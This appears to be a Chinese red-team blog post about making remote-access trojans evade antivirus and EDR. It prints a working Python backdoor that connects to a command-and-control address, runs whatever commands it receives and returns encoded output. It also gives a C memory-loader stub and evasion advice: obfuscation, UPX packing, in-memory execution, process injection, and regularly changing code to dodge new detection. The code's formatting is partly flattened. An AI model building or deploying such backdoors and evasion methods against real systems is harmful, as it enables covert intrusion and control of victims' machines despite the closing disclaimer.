0x01 木马隐匿：从基础到高级
在我多年的APT攻击研究中，远控木马的免杀技术始终是一个令人着迷的领域。远控木马要成功植入并保持隐匿，需要对抗越来越先进的安全检测机制，因此，理解和应用免杀技术是红队行动的重要一环。
木马的基础构造
远控木马通常由两个核心组件构成：控制端与被控端。控制端负责指挥和数据收集，被控端则是植入目标系统的恶意载荷。被控端需要在目标系统中执行恶意行为的同时尽量避免被检测到，这就是免杀技术的核心——如何规避杀毒软件和EDR（Endpoint Detection and Response）的检测。
免杀技术的分类
免杀技术分为两大类：静态免杀和动态免杀。
- 静态免杀：通过修改文件特征、使用多层加壳、混淆代码等手段，改变恶意文件在存储时的特征，以躲避静态扫描。
- 动态免杀：在运行时通过内存加载、API hooking、动态反射等技术，绕过行为检测和内存扫描。
0x02 实战环境搭建：模拟真实攻防
有一次，我决定搭建一个完整的攻防环境，以测试远控木马的免杀能力。我的实验室包含以下几个关键组件：
- 目标系统：Windows 10虚拟机，安装主流杀毒软件和EDR。
- 攻击者系统：Kali Linux，配置Cobalt Strike和自编工具。
- 隔离网络：确保实验环境与真实互联网隔离，防止无意传播。
环境准备
首先，我准备了一台运行Windows 10的虚拟机，并安装了几款流行的杀毒软件，如ESET和Windows Defender。此外，我还部署了一款开源EDR——OSSEC，以模拟企业环境的安全防护。
在攻击者系统上，除了安装常规的攻击工具，我还开发了一款定制的远控木马，用于测试不同免杀技术的有效性。
0x03 Payload构造的艺术：从代码到免杀
为了让读者更好地理解远控木马的免杀技术，我将分享一个简单的Python实现的POC代码。这个木马可以在目标系统上执行任意命令，并具备一定的免杀能力。
<pre><code class="language-python">import socket import subprocess import os import base64
启动后与控制端建立连接
def connect_to_c2(): try:
这里填写你的控制端IP和端口，实验时要保证是安全、受控的环境
c2_address = ('192.168.1.100', 4444) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(c2_address) return sock except Exception as e:
失败时打印错误信息，但在真实攻击中最好不输出任何信息以增加隐匿性
print("Connection failed:", str(e)) return None
接收命令并执行，结果返回给控制端
def execute_commands(sock): while True: try:
接收来自控制端的命令
command = sock.recv(1024).decode('utf-8') if command.lower() == 'exit': break
执行命令并获取结果
output = subprocess.getoutput(command)
结果进行Base64编码，避免传输时被拦截
encoded_output = base64.b64encode(output.encode('utf-8')) sock.send(encoded_output) except Exception as e:
异常处理，这里选择简单打印异常
sock.send(str(e).encode('utf-8'))
sock.close()
def main(): sock = connect_to_c2() if sock: execute_commands(sock)
if __name__ == "__main__": main()</code></pre>
基本免杀技巧
要让上述代码在目标系统上更难被检测到，我们可以应用几个基础的免杀技巧：
- 代码混淆：使用Python的obfuscation库，将代码转化为难以理解的形式。
- 加壳：使用工具如PyInstaller生成二进制文件，再使用UPX对文件进行加壳处理。
- 内存加载：将代码片段转移到内存中执行，避免触发磁盘扫描。
0x04 绕过技巧与实际应用
当我们谈论绕过技巧时，重要的是理解目标EDR和杀毒软件的检测机制。以下是我在实战中使用的一些高级免杀技术：
动态绕过
动态绕过技术是我在复杂环境中常用的方法，它通过内存加载和反射技术实现运行时的隐匿。
内存加载
有一次，我使用C语言编写了一个内存加载程序，将恶意代码从磁盘读取到内存中执行，避免触发文件系统的扫描。
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
// 模拟内存加载 void load_into_memory(const char *file_path) { HANDLE file = CreateFile(file_path, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if (file == INVALID_HANDLE_VALUE) { printf("Failed to open file\n"); return; }
DWORD fileSize = GetFileSize(file, NULL); char buffer = (char )malloc(fileSize);
DWORD bytesRead; ReadFile(file, buffer, fileSize, &bytesRead, NULL); CloseHandle(file);
// 直接在内存中执行代码 // 这里简化原理，真实环境中需要处理代码的编译与执行 printf("Loaded %lu bytes into memory\n", bytesRead); free(buffer); }
int main() { // 真实环境中会从合法载荷中读取路径，这里仅为演示 load_into_memory("payload.bin"); return 0; }</code></pre>
动态反射
通过动态反射，我们可以在运行时将恶意代码植入到合法进程的地址空间，伪装成正常行为执行。
实战中的细节处理
在我的实战经验中，绕过EDR和杀毒软件时，还需考虑一些细节，如进程注入、API Hooking等技术。这些技术需要对目标环境有深入了解，并不断进行测试和调整，以确保木马能够稳定、隐匿地执行任务。
0x05 检测与防御：攻防对抗的演进
在研究免杀技术的同时，我也一直关注安全检测机制的发展。杀毒软件和EDR不断进化，采用了越来越多的行为分析、机器学习等技术来提升检测能力。
检测技术解析
- 行为分析：通过监控程序的行为特征，检测异常活动。这需要木马在执行时尽量模拟正常行为，并减少可疑操作。
- 机器学习：通过训练模型识别恶意模式，这意味着免杀技术需要不断变化，以避免被新模型识别。
反击策略
在我的经验中，对抗这些检测技术的关键在于：
- 灵活性：经常更新恶意代码，改变特征，以规避新检测机制。
- 环境适应：针对目标环境定制攻击策略，了解其防护工具，找到突破口。
0x06 与同道者分享：我的攻防思考
在总结这篇文章时，我想分享一些个人经验：
实战中的教训
- 不断学习和测试：免杀技术不是一成不变的。只有通过不断测试和研究，才能掌握最新的技巧。
- 合作与分享：在红队行动中，团队协作和信息分享极其重要。通过分享经验，我们可以共同提升技术水平。
对未来的思考
随着技术的发展，远控木马的免杀挑战会越来越大。作为研究人员，我们需要持续关注新技术动态，保持敏锐的攻击者思维，才能在攻防对抗中立于不败之地。
合法声明：本文内容仅限授权安全测试，旨在供安全研究人员学习和交流。任何恶意使用均可能违反法律法规。